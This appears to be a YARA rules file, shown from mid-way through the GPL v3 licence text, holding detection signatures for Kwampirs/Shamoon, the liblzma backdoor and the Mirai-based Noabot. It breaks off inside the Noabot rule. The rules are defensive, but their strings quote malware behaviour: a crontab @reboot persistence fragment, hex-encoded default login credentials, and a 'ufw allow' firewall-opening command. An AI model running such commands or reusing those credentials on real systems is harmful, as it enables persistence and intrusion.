and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

 */
rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon_Code : FILE
{
	meta:
		description = "Kwampirs and Shamoon common code"
		author = "FBI / cywatch@fbi.gov"
		id = "0d403b3b-a5a8-5ac6-a12d-7181a1ad11b3"
		date = "2020-01-14"
		modified = "2020-03-31"
		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L85-L105"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		logic_hash = "5ab949280be87d242ad2843dee001eee5a338e266ef52da55883f7c77e66cf5b"
		score = 75
		quality = 85
		tags = "FILE"
		yara_version = "3.7.0"
	strings:
		$memcpy = { 56 8B F0 85 FF 74 19 85 D2 74 15 8B CF 85 F6 74 0B 2B D7 8A 04 0A 88 01 41 4E 75 F7 8B C7 5E C3 33 C0 5E C3 }
		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3 }
		$strcmp = { 85 C0 75 07 85 D2 75 40 B0 01 C3 85 D2 74 39 66 83 38 00 56 74 24 0F B7 0A 66 85 C9 74 16
		66 8B 30 83 C2 02 83 C0 02 66 3B F1 75 18 66 83 38 00 75 E4 EB 06 66 83 38 00 75 0A 66 83 3A 00 75 04 B0
		01 5E C3 32 C0 5E C3 32 C0 C3 }
	condition:
		( uint16( 0 ) == 0x5a4d ) and ( 1 of them )
}

rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Installer : FILE
{
	meta:
		description = "Kwampirs installer xor keys and Unicode string length routine"
		author = "FBI / cywatch@fbi.gov"
		id = "8c80d0d5-8c65-5cef-ad86-b38f4d671bec"
		date = "2020-01-14"
		modified = "2020-03-31"
		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L109-L127"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		logic_hash = "ac9c3ba7188cbbe736ff81b41086fdc874ac24ae83d3cec390907f8edd0a0ce5"
		score = 75
		quality = 85
		tags = "FILE"
		yara_version = "3.7.0"
	strings:
		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
		$resource_key = { 28 99 B6 17 63 33 EE 22 97 97 55 B5 7A C4 E1 A4 }
		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3}
	condition:
		(( uint16( 0 ) == 0x5a4d ) and ( 2 of them ) )
}

rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Implant : FILE
{
	meta:
		description = "Kwampirs implant xor and rsa keys"
		author = "FBI / cywatch@fbi.gov"
		id = "d1c1ab0e-e07d-5f0e-97e8-5aee53ab620e"
		date = "2020-01-14"
		modified = "2020-03-31"
		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L130-L177"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		logic_hash = "a9559c17c802c6060799d0a1ee96d68bd521475dd12ff6040a74874cabe3a9a9"
		score = 75
		quality = 85
		tags = "FILE"
		yara_version = "3.7.0"
	strings:
		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
		$beacon_key = { 28 30 A4 3F 6D 28 04 23 36 2A 32 DC AD 0B A0 4B E8 20 1F 64 84 0A F4 C4 C7 8A 8D C0
                        A2 C4 40 19 A1 43 82 38 14 FD 6C 90 E0 7E 2A 40 DF D3 F2 3E 72 38 C4 96 4D 98 7C 16 3B 3C E7 27 B7 D0 EF
                        7B 3C 45 06 9A 69 0D 6A 41 18 95 95 46 88 CC 19 6F EB 6B 5B F8 51 E4 2E E1 E6 8F 44 CF 20 2F 2B DE 7A 28
                        5D DB 55 5A 1A 35 AF D8 5F 57 B8 0F A5 F7 08 4A D0 AB E5 95 31 A1 25 31 00 65 3C 70 73 99 42 0A 02 1A 69
                        D9 A6 DF 14 B2 05 DD A8 DF F5 D9 71 6D 6E 96 5F 1B D1 0F 8E 0A 35 D4 65 FA 90 58 CC 75 02 92 B7 2C 46 ED
                        66 33 44 75 FC A4 E0 FD B8 C8 B5 0C 3A 84 D9 23 16 A4 AF 3B 57 C6 D2 5C B3 AB 9C CD F0 B2 A4 51 43 D3 F0
                        30 21 B5 ED 25 E3 64 B7 0C 1C A8 50 3A FF 6B 2C 32 06 B2 D1 54 3D 86 B9 1A BF 59 D7 92 59 EC 40 4A 8D B0
                        E7 9A 9A 0D 94 19 27 D8 6D AD 5C 3E BE 14 67 DC F0 92 }
		$download_key = { B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38 C8 E7 67 E9 C6 62 9C 50 4E 8D 00
                        A6 59 F8 72 E0 91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58 C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7
                        B5 68 CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B 8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02 D9
                        25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9 62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B 10 3B 60 32
                        1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83 3E 44 44 6C 97 85 9E
                        7B F0 EE 32 C3 11 41 A3 6B A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91 75 AE 83 2E 1E F8 5F B5 65 ED
                        B3 40 EA 2A 36 2C A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7 45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13
                        74 33 0F DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33 }
		$hashfile_key = { FE FE F5 5C 37 54 A1 6C 28 84 ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3 1C 33
                        2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19 AA D8
                        42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C 7A 30
                        8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 62 B6 CC C1 45 C9 43 43 15 59 BE 5A 77 31 D8 36 5F BD F6
                        D7 09 65 42 3C CD 2C B1 C1 28 55 6E F9 91 3C 55 3B DF EB ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3
                        1C 33 2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19
                        AA D8 42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C
                        7A 30 8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 }
		$rsa_key = { CD 74 15 BC 47 7E 0A 5E E4 35 22 A5 97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9 E4 7E
                        DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31 48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A CD 43 D7 B4
                        75 C9 19 FE CC 88 4A 7B E9 1D 8C 11 56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33 02 E2 3A 50 EA 58 D2
                        A7 36 EE 5A D6 8F 5D 5D D2 9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28 4C 72 E1 60 AB 76 73 30 66 18
                        BE EC F3 99 5E 4B 4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71 6B 49 08 84 61 1D 03 BA A5 42 92 F9 13
                        33 57 D9 59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36 EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
                        C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6 FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D 90 DC 6C
                        26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF F7 E4 0C B3 }
	condition:
		(( uint16( 0 ) == 0x5a4d ) and ( 2 of them ) )
}

rule CRAIU_Unk_Liblzma_Encstrings : FILE
{
	meta:
		description = "liblzma backdoor, encoded strings"
		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
		id = "ca491b9c-400e-5f5e-9372-e403a095edba"
		date = "2024-03-30"
		modified = "2024-03-30"
		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/unk_liblzma_backdoor.yara#L32-L70"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		logic_hash = "99f5c82f941bb5c1f908209e108f9f80a835ad84157a383faa0dde502486dbd3"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
	strings:
		$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" ascii wide
		$a2 = { 04 00 10 08 03 00 00 00 03 00 00 00 03 00 00 00 04 00 78 06 03 00 00 00 03 00 00 00 30 00 0C 00 03 00 00 00 04 00 D8 00 
              03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 43 00 00 00 32 00 00 00 03 00 00 00 03 00 00 00 13 01 00 00  
              92 00 00 00 12 00 00 00 42 00 00 00 93 00 00 00 62 00 00 00 B3 00 00 00 B2 00 00 00 03 00 00 00 03 00 00 00 93 00 00 00 
              42 00 00 00 C3 00 00 00 B2 00 00 00 03 00 00 00 12 00 00 00 04 00 08 07 04 00 08 01 12 00 00 00 63 00 00 00 03 00 00 00
              13 00 00 00 F2 00 00 00 03 00 00 00 A3 00 00 00 92 00 00 00 33 01 00 00 F2 00 00 00 43 01 00 00 22 00 00 00 22 01 00 00 
              04 00 70 08 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 92 00 00 00 83 00 00 00 23 00 00 00 82 01 00 00 63 01 00 00  
              13 00 00 00 04 00 A0 01 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 B2 01 00 00 03 00 00 00 03 00 00 00 03 00 00 00
              23 01 00 00 43 00 00 00 C2 00 00 00 90 01 30 00 72 00 00 00 21 01 04 00 03 01 00 00 92 00 00 00 22 01 00 00 32 00 00 00 }
		$a3 = {
              33 01 00 00 D2 00 00 00 12 00 00 00 13 00 00 00 04 00 40 0C E2 00 00 00 03 00 00 00 53 01 00 00 22 01 00 00 04 00 D0 06
              E2 00 00 00 A3 00 00 00 92 00 00 00 53 01 00 00 A0 00 14 00 D2 01 00 00 04 00 58 09 62 00 00 00 92 00 00 00 04 00 18 04  
              42 01 00 00 13 00 00 00 B3 01 00 00 04 00 E0 04 33 00 00 00 A2 01 00 00 43 01 00 00 92 00 00 00 A2 00 00 00 33 02 00 00 
              72 01 00 00 10 00 40 00 A0 00 30 00 00 02 20 00 A2 00 00 00 21 00 0C 00 12 00 00 00 04 00 90 07 B2 01 00 00 53 00 00 00  
              93 01 00 00 92 00 00 00 22 01 00 00 83 01 00 00 53 00 00 00 82 00 00 00 32 01 00 00 03 02 00 00 62 01 00 00 63 01 00 00 
              B2 00 00 00 22 01 00 00 33 00 00 00 33 00 00 00 73 00 00 00 04 00 18 00 D2 01 00 00 13 02 00 00 52 00 00 00 D3 00 00 00 
              02 01 00 00 C3 00 00 00 52 00 00 00 D3 00 00 00 B2 01 00 00 A3 01 00 00 23 00 00 00 E2 01 00 00 33 00 00 00 33 00 00 00
              B3 01 00 00 A2 00 00 00 53 00 00 00 B3 00 00 00 C2 01 00 00 D3 01 00 00 03 00 00 00 22 00 00 00 63 00 00 00 12 00 00 00 }
	condition:
		( filesize < 15MB ) and ( any of them )
}

rule CRAIU_Crime_Noabot : FILE
{
	meta:
		description = "Noabot is a clone of Mirai"
		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
		id = "8626783b-898c-587d-9b23-c8c9111cde66"
		date = "2024-01-11"
		modified = "2024-01-11"
		reference = "https://www.akamai.com/blog/security-research/mirai-based-noabot-crypto-mining"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_noabot.yara#L2-L57"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		hash = "1603202a9115b83224233697f2ca1d36fef60113b94a73a15afed79a459aacc3"
		hash = "16a28951acfe78b81046bfedb0b489efb4c9d3d1d3b8475c39b93cd5105dc866"
		hash = "3da983ef3580a4b1b3b041cd991019b900f7995791c0acb32035ac5706085a63"
		hash = "648a4f33b2c268523378929179af529bc064538326a1202dcdfcd9ee12ae8f6c"
		hash = "829b3c298f7003f49986fb26920f7972e52982651ae6127c6e8e219a86f46890"
		hash = "c723a221cff37a700e0e3b9dc5f69cdd6a4cc82502ac7c144d6ca1eaf963e800"
		hash = "c8d3c0b87176b7f8d5667d479cb40d1b9f030d30afe588826254f26ebb4ac58e"
		logic_hash = "51c63f45f891ee80c5e8428575f12cb5881665cb9fe26018d173335db0f02012"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.1"
	strings:
		$a1a = "(crontab -l; printf '@reboot %s noa"
		$a1b = "(crontab -l; printf '@reboot %s \"%s\" noa"
		$a2 = {40 6D 61 67 69 63 40 [1-8] 6E 6F 61 [1-8] 0A 0A 49 20 61 69 6E 74 20 79 6F 75 72 20 61 76}
		$a3 = {31 32 33 34 35 36 [1-8] 41 64 6D 69 6E 21 40 23 [1-8] 7A 68 61 6E 67 6A 69 65 31 32 33 [1-8] 43 75 6D 75 6C 75 73 4C 69 6E 75 78 21 [1-8] 61 62 63 31 32 33 24 [1-8] 77 65 62 40 31 32 33 [1-8] 6D 70 69 75 73 65 72 [1-8] 61 74 75 61 6C 69 7A 61}
		$a4 = "HACKED: %s:%d:%s:%s"
		$a5 = {25 64 7C 25 64 00 31 76 57 3F 3E 55 00 26 25 2423 00 67 76 64 64 60 78 65 73 00 00 26 25 24 00}
		$b1 = "ufw allow 24816"
